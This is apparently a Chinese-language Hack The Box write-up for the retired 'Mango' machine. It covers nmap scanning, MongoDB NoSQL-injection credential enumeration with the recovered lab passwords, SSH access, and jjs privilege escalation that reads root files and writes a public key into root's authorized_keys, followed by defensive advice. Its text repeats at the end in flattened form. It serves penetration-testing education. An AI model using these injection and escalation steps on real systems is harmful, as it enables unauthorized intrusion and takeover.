HTB: Mango渗透测试
字数 1211 2025-08-15 21:34:09

HTB: Mango渗透测试教学文档

1. 靶机概述

  • 平台: Hack The Box (退役靶机)
  • IP地址: 10.129.1.219 (原IP已变更)
  • 操作系统: Ubuntu (基于OpenSSH版本判断)
  • 难度: 中等
  • 涉及技术: NoSQL注入、SSH利用、权限提升

2. 信息收集阶段

2.1 端口扫描

使用nmap进行扫描:

nmap -sV -A -O 10.129.1.219

扫描结果:

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))

2.2 Web服务分析

  • 80端口: 登录界面
  • 443端口: 类似Google的搜索界面,通过证书可获取额外信息
  • 发现域名: staging-order.mango.htb

3. 漏洞利用阶段

3.1 NoSQL注入攻击

发现传统SQL注入无效,转而尝试NoSQL(MongoDB)注入

使用工具: Nosql-MongoDB-injection脚本
GitHub地址: https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration

枚举用户名:

python3 nosqli-user-pass-enum.py -u http://staging-order.mango.htb/ -up username -pp password -ep username -op login:login,submit:submit

枚举密码:

python3 nosqli-user-pass-enum.py -u http://staging-order.mango.htb/ -up username -pp password -ep password -op login:login,submit:submit

获取的凭证:

  • 用户1:
    • 用户名: admin
    • 密码: t9KcS3>!0B#2
  • 用户2:
    • 用户名: mango
    • 密码: h3mXK8RhU~f{]f5H

3.2 SSH登录尝试

使用获取的凭证尝试SSH登录:

ssh admin@10.129.1.219
ssh mango@10.129.1.219

成功登录后发现需要切换到admin用户才能查看user.txt:

su admin

4. 权限提升阶段

4.1 获取交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

4.2 系统枚举

使用LinEnum.sh脚本查找可利用的漏洞:

./LinEnum.sh

发现可利用jjs(Java JS解释器)进行提权

4.3 利用jjs提权

参考GTFOBins: https://gtfobins.github.io/

方法1: 直接读取root.txt

jjs

在jjs交互界面中输入:

var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }

方法2: 通过SSH密钥提权

  1. 在攻击机生成SSH密钥:
ssh-keygen
  1. 创建jjs脚本写入公钥:
echo 'var FileWriter = Java.type("java.io.FileWriter");
var fw=new FileWriter("/root/.ssh/authorized_keys");
fw.write("YOUR_PUBLIC_KEY_HERE");
fw.close();' | jjs
  1. 使用私钥SSH登录获取root权限:
ssh -i id_rsa root@10.129.1.219

5. 关键知识点总结

  1. NoSQL注入: MongoDB等NoSQL数据库也可能存在注入漏洞,与传统SQL注入技术不同

  2. 凭证枚举: 通过自动化脚本可以枚举有效的用户名和密码组合

  3. 横向移动: 从一个用户(mango)切换到另一个用户(admin)获取更高权限

  4. 权限提升技术:

    • 利用系统预装的Java JS解释器(jjs)进行提权
    • 通过GTFOBins查找各种二进制文件的提权方法
    • 两种jjs提权方法: 直接读取文件或写入SSH公钥
  5. 交互式shell获取: 在受限shell环境中使用Python获取完整功能的交互式shell

6. 防御建议

  1. 对NoSQL查询实施严格的输入验证
  2. 使用强密码策略,避免密码被枚举
  3. 限制系统上不必要的二进制文件执行权限
  4. 定期审计系统上的SUID/SGID文件和特殊权限
  5. 实施最小权限原则,限制用户权限
  6. 监控和限制敏感二进制文件(如jjs)的使用
HTB: Mango渗透测试教学文档 1. 靶机概述 平台: Hack The Box (退役靶机) IP地址: 10.129.1.219 (原IP已变更) 操作系统: Ubuntu (基于OpenSSH版本判断) 难度: 中等 涉及技术: NoSQL注入、SSH利用、权限提升 2. 信息收集阶段 2.1 端口扫描 使用nmap进行扫描: 扫描结果: 2.2 Web服务分析 80端口: 登录界面 443端口: 类似Google的搜索界面,通过证书可获取额外信息 发现域名: staging-order.mango.htb 3. 漏洞利用阶段 3.1 NoSQL注入攻击 发现传统SQL注入无效,转而尝试NoSQL(MongoDB)注入 使用工具: Nosql-MongoDB-injection脚本 GitHub地址: https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration 枚举用户名: 枚举密码: 获取的凭证: 用户1: 用户名: admin 密码: t9KcS3> !0B#2 用户2: 用户名: mango 密码: h3mXK8RhU~f{ ]f5H 3.2 SSH登录尝试 使用获取的凭证尝试SSH登录: 成功登录后发现需要切换到admin用户才能查看user.txt: 4. 权限提升阶段 4.1 获取交互式shell 4.2 系统枚举 使用LinEnum.sh脚本查找可利用的漏洞: 发现可利用jjs(Java JS解释器)进行提权 4.3 利用jjs提权 参考GTFOBins: https://gtfobins.github.io/ 方法1: 直接读取root.txt 在jjs交互界面中输入: 方法2: 通过SSH密钥提权 在攻击机生成SSH密钥: 创建jjs脚本写入公钥: 使用私钥SSH登录获取root权限: 5. 关键知识点总结 NoSQL注入 : MongoDB等NoSQL数据库也可能存在注入漏洞,与传统SQL注入技术不同 凭证枚举 : 通过自动化脚本可以枚举有效的用户名和密码组合 横向移动 : 从一个用户(mango)切换到另一个用户(admin)获取更高权限 权限提升技术 : 利用系统预装的Java JS解释器(jjs)进行提权 通过GTFOBins查找各种二进制文件的提权方法 两种jjs提权方法: 直接读取文件或写入SSH公钥 交互式shell获取 : 在受限shell环境中使用Python获取完整功能的交互式shell 6. 防御建议 对NoSQL查询实施严格的输入验证 使用强密码策略,避免密码被枚举 限制系统上不必要的二进制文件执行权限 定期审计系统上的SUID/SGID文件和特殊权限 实施最小权限原则,限制用户权限 监控和限制敏感二进制文件(如jjs)的使用